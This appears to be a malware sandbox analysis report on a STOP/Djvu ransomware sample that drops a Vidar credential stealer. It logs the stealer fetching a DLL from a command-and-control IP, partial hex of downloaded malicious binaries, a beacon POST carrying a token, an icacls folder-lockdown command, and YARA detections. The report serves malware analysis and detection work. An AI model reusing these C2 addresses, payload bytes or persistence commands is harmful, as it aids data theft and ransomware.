Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49745	95.217.9.149	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:12 UTC	177	OUT	GET /sqln.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:13 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:47:13 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 14 Apr 2024 18:52:51 GMT Connection: close ETag: "661c2603-258600" Accept-Ranges: bytes
2024-04-24 15:47:13 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-04-24 15:47:13 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-04-24 15:47:14 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49751	95.217.9.149	443	7176	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:16 UTC	262	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJ User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 15:47:16 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 61 30 30 35 39 33 61 62 62 39 32 39 65 65 33 31 31 35 64 31 32 35 65 66 38 34 62 37 33 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="token"fa00593abb929ee3115d125ef84b733f------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------BAEHIEBGHDAFIEBGIEHJCont
2024-04-24 15:47:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 15:47:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 15:47:17 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	172.67.139.220	443	7768	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 15:47:31 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 15:47:32 UTC	918	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 15:47:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eEufoA8Q7EkfVv1g73%2Fefy5SnkK58Y34%2Fq5rLxBN6cLrEt%2FPJH4OsmImTJ4tNbYQIF6UAt6LhgF24k4eLL5dvIG%2FECTdbzc8rUs7Yqt4jU%2FZ5kuf5hnD%2B9W7sByS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87973b7aff532ab0-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 15:47:32 UTC	451	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 63 64 34 64 39 64 30 63 63 66 63 38 65 64 35 63 63 39 32 64 31 64 39 38 33 63 66 63 39 64 65 64 36 64 39 64 66 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#bcd4d9d0ccfc8ed5cc92d1d983cfc9ded6d9df
2024-04-24 15:47:32 UTC	479	IN	Data Raw: d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 61 36 63 65 63 33 63 61 64 36 65 36 39 34 63 66 64 36 38 38 64 33 63 37 39 39 64 35 64 33 63 34 63 63 63 33 63 35 64 32 39 62 39 34 63 66 64 36 38 38 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#a6cec3cad6e694cfd688d3c799d5d3c4ccc3c5d29b94cfd688
2024-04-24 15:47:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:46:50
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n8XBpFdVFU.exe"
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:46:51
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n8XBpFdVFU.exe"
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:46:52
Start date:	24/04/2024
Path:	C:\Windows\SysWOW64\icacls.exe
Wow64 process (32bit):	true
Commandline:	icacls "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Imagebase:	0x80000
File size:	29'696 bytes
MD5 hash:	2E49585E4E08565F52090B144062F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:46:53
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000003.00000002.1650285464.00000000042FB000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:46:53
Start date:	24/04/2024
Path:	C:\Users\user\Desktop\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	17:46:54
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.1661479218.000000000454F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	17:46:54
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task
Imagebase:	0x400000
File size:	781'824 bytes
MD5 hash:	19F46C713419F534C1532645B764C7B4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	17:47:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"
Imagebase:	0x7ff70f330000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000007.00000002.1717559855.0000000001DBF000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	17:47:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe"
Imagebase:	0x7ff71e800000
File size:	296'448 bytes
MD5 hash:	A04031208441077A014F42095FF86107
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
